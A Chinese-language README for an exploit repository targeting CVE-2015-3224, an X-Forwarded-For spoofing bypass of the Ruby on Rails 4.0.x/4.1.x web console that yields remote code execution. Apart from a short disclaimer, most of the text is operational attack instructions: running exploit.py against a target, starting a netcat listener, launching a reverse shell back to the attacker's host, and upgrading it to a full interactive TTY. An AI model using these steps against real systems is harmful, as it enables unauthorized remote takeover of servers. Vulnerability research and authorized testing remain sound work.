此仓库包含一个 Python 脚本,用于利用 Ruby on Rails 4.0.x 和 4.1.x 开发者 Web 控制台中的 IP 白名单绕过漏洞。该脚本可在易受攻击的服务器上实现 远程代码执行。
⚠️ 免责声明 此脚本仅用于教育目的和经授权的安全测试。 请勿在未经明确许可的情况下在任何系统上使用它。 作者不承担任何因使用此脚本而导致的滥用或损害责任。
在易受攻击的 Ruby on Rails 版本中,Web 控制台仅供开发用途,应只能从受信任的 IP 地址访问。然而,由于对 X-Forwarded-For HTTP 头的处理不当,攻击者可以伪造其 IP 地址,使其看起来像是受信任的本地用户(例如 127.0.0.1 或 ::1)。这绕过了 IP 白名单,并授予未经授权的访问权限,进而导致远程代码执行。
requests 库安装 requests:
pip install requests
克隆仓库:
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <repo-directory>
为脚本添加可执行权限:
chmod +x exploit.py
此模式适用于运行快速、简单的命令。
./exploit.py -t http://<TARGET_IP>:<PORT>
这是获得稳定、完全交互式 Shell 的推荐模式。
在本地机器上,打开一个新的终端并启动一个 netcat 监听器。
nc -lvnp 9001
在另一个终端中,使用 --rev-shell 标志运行脚本,并提供你的本地 IP(lhost)和端口(lport)。
./exploit.py -t http://<TARGET_IP>:<PORT> --rev-shell --lhost <YOUR_IP> --lport 9001
你的 netcat 监听器将收到一个连接。要将其升级为完全交互式的 TTY,请在 netcat 窗口 中执行以下步骤:
Ctrl+Z 将 Shell 置于后台。stty raw -echo; fg
Enter。reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
现在你就拥有了一个功能完整且稳定的 Shell!